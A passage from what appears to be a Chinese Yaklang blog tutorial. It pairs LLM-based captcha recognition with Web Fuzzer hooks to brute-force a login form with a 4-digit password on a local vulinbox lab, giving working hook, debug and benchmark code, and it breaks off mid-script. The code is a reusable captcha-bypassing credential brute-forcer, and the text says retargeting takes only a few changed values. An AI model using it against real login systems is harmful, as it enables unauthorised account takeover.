style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketCookie</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> cookieName</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> newCookie</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    req </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">ReplaceHTTPPacketPostParam</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"code"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> captchaCode</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> req</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">beforeRequest </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> originReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">recognizeAndPatch</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">retryHandler </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">https</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retryCount</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rsp</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retry</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> retryCount </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> maxRetry </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">error</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"captcha recognize retry exceeded: %v"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retryCount</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    body </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> body</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"verification code not match"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        newReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">recognizeAndPatch</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">retry</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">newReq</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// ============ 调试入口：模拟 Web Fuzzer 的调用链 ============</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"=== Step 1: beforeRequest ==="</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">req1 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">beforeRequest</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token function" style="color:#d73a49">byte</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">template</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token function" style="color:#d73a49">byte</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">template</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"=== Step 2: send req1 ==="</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">rsp1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">HTTP</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">req1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">host</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"127.0.0.1"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">port</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">8787</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">die</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"=== Step 3: retryHandler ==="</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// 用一个闭包模拟 Web Fuzzer 传进来的 retry 回调：</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// retryHandler 调用 retry(newReq) 时，把 newReq 捕获下来；不调则 retryReq 保持为空。</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">retryReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token function" style="color:#d73a49">byte</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">""</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">retry </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">reqs</span><span class="token operator" style="color:#393A34">...</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">reqs</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> retryReq </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> reqs</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">retryHandler</span><span class="token punctuation" style="color:#393A34">(</span><span class="token boolean" style="color:#36acaa">false</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> req1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> rsp1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> retry</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">len</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">retryReq</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"retryHandler decided NOT to retry - step 1 already succeeded (no captcha mismatch)"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"=== Step 4: send retry request ==="</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">rsp2</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">_</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> err </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">HTTP</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">retryReq</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">host</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"127.0.0.1"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">port</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">8787</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">die</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">err</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">println</span><span class="token punctuation" style="color:#393A34">(</span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">body2 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">string</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">poc</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">GetHTTPPacketBody</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">rsp2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> body2</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Contains</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"verification code not match"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">warn</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"retry STILL FAILED - Web Fuzzer will keep calling retryHandler until maxRetry"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"RETRY SUCCESS: captcha recognized correctly, full hook chain works end-to-end"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></span></code></pre></div></div>
<p>这个调试脚本会出现两种情况，对应 <code>retryHandler</code> 的两条分支：</p>
<p><strong>1.第一次就识别正确</strong>：Step 2 的响应体里不包含 <code>verification code not match</code>，<code>retryHandler</code> 里的 <code>if</code> 条件不成立，<strong>不会调用</strong><code>retry</code>**，<code>retryReq</code> 保持为空。脚本在 Step 3 之后就 <code>return</code> 了——这正是"一次过"的情况。</p>
<p><strong>2.第一次识别错误</strong>：Step 2 的响应体里包含 <code>verification code not match</code>，<code>retryHandler</code> 内部重新调 <code>recognizeAndPatch</code> 拿到一对新的 <code>(session, 验证码)</code>，然后 <code>retry(newReq)</code> 把新请求捕获到 <code>retryReq</code> 里；Step 4 实际发出去，看到 <code>密码错误</code> 之类的响应就说明两个钩子已经完整联动。</p>
<p>笔者实测时刚好命中了第二种情况：第一次识别 <code>sdgq</code> 错了，<code>retryHandler</code> 在第二次用 <code>b8Ez</code> 通过了校验，整套钩子按预期串起来。具体实际测试效果应该如图日志所展示的类似：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/dcadfeba12eefc04-9fe931210fe52884a043aa725879537c.png" width="1080" height="524" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="在-web-fuzzer-中使用">在 Web Fuzzer 中使用<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#%E5%9C%A8-web-fuzzer-%E4%B8%AD%E4%BD%BF%E7%94%A8" class="hash-link" aria-label="在 Web Fuzzer 中使用的直接链接" title="在 Web Fuzzer 中使用的直接链接" translate="no">​</a></h2>
<p>调试通过之后，回到 Web Fuzzer：</p>
<p>1.把上面"v2 完整热加载代码"整段粘贴到热加载编辑器；</p>
<p>2.在请求模板中，按"Web Fuzzer 的请求模板"那一节的格式填入数据包，密码字段用 <code>{{int(0000-9999|4)}}</code>，Cookie 写一个占位值即可（真正的值会由 <code>beforeRequest</code> 覆盖掉）；</p>
<p><strong>3.打开重试开关</strong>——这是让 Web Fuzzer 进入重试调度、从而调用 <code>retryHandler</code> 的前提。UI 上的"重试次数"建议填 6 跟 <code>maxRetry</code> 保持一致；不过注意，配置了 <code>retryHandler</code> 之后，真正的终止条件其实是 <code>retryHandler</code> 内部的 <code>retryCount &gt; maxRetry</code> 判断，UI 数值更多是给人看的语义对齐；</p>
<p>4.配置好并发数（建议 5-10），点击发送。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/99cf143ac8b7b62d-cfec4ffb66770e5c0f07acd4322ca4fb.png" width="1080" height="609" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d6ee5f1032c1c7c9-930c29e0df0f04b7cb777f89e567572b.png" width="842" height="674" class="yakdoc-image"></button></p>
<p>【配图：Web Fuzzer 爆破过程中的结果列表截图，展示成功命中的请求和被自动重试的请求】</p>
<p>跑起来之后能看到，相比 v1 版本，响应里 <code>verification code not match</code> 的请求会被 <code>retryHandler</code> 拦下来、换一对全新的 <code>(session, 验证码)</code> 之后自动重发，最终落到结果列表里的几乎都是有效的<code>密码错误</code>或者最终命中的 <code>secret</code> 页面，AI 识别失败的密码不再被白白浪费。</p>
<p>热加载方案的优势在于，验证码识别的逻辑和 Web Fuzzer 的爆破能力直接打通了。我们不需要自己写爆破循环、不需要自己管理并发和重试，只需要关注"如何识别验证码"这一件事，剩下的并发控制、字典管理、重试调度、结果展示都交给 Web Fuzzer。整套方案只用到了 <code>beforeRequest</code> 和 <code>retryHandler</code> 两个钩子，失败判定被收敛在 <code>retryHandler</code> 里，没有引入额外的失败检测机制。</p>
<p>并且这段热加载代码是可以复用的——换一个目标，只需要改一下 <code>target</code>、<code>cookieName</code>、验证码图片的路径以及 <code>retryHandler</code> 里的失败关键字（<code>verification code not match</code>），核心的 AI 识别逻辑完全不用动。</p>
<h1>六、AI模型识别验证码</h1>
<p>方案跑通了，下一个该回答的问题：AI 识别验证码的准确率到底有多少？选哪个模型？</p>
<p>热加载里我们写的是 <code>ai.FunctionCall(..., ai.model("xxx"))</code>，换模型就是改一行字符串。所以"选哪个模型"本质就是一次横向 Benchmark——比的东西也很直白：单次成功率、耗时、价格。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="benchmark-脚本">Benchmark 脚本<a href="https://yaklang.com/blog/llm-captcha-recognition-and-login-brute-force#benchmark-%E8%84%9A%E6%9C%AC" class="hash-link" aria-label="Benchmark 脚本的直接链接" title="Benchmark 脚本的直接链接" translate="no">​</a></h2>
<p>笔者用 vulinbox 的安全版验证码做对比。</p>
<p><code>/verification/safe/op</code> 这条路径每次 POST 校验后会立刻把验证码从 session 里删掉（<code>delete(val, "code")</code>），验证码用一次即废。下次必须拉全新的一对 <code>(session, 验证码)</code>，和 Web Fuzzer 里每次爆破请求的工作方式一致。</p>
<p>服务端对"验证码不对"的回包是精确的字符串 <code>verification code not match</code>，单次失败的判定直接看这个就行。</p>
<p>核心逻辑和前面热加载里的 <code>recognizeAndPatch</code> 相同。唯一差别：把识别出来的 <code>code</code> 配合故意错的密码 <code>0000</code> 提交给 <code>/verification/safe/op</code>，然后看响应里有没有 <code>verification code not match</code>——</p>
<ul>
<li class="">没有 → AI 认对了（服务端进入"密码错误"分支）</li>
<li class="">有   → AI 认错了</li>
</ul>
<p>把单次流程塞进 sized-wait-group，就成了一个可并发的 Benchmark runner：</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">target     </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">String</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"target"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">     cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">setDefault</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"http://127.0.0.1:8787"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">modelName  </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">String</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"model"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">      cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">setDefault</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"memfit-vision-free"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">total      </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Int</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"total"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">         cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">setDefault</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">300</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">concurrent </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Int</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"concurrent"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">setDefault</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cli</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">check</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">cookieName </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"YSESSIONID_SAFE"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mu </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sync</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">NewMutex</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">successCount </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">captchaFailCount </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">aiErrCount </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">costs </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">swg </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> sync</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">NewSizedWaitGroup</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">concurrent</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> total</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    swg</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Add</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    idx </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> i</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">go</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">func</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">defer</span><span class="token plain"> swg</span><span class="token punctuation" style="color:#393A34">.</span><span class="token function" style="color:#d73a49">Done</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span 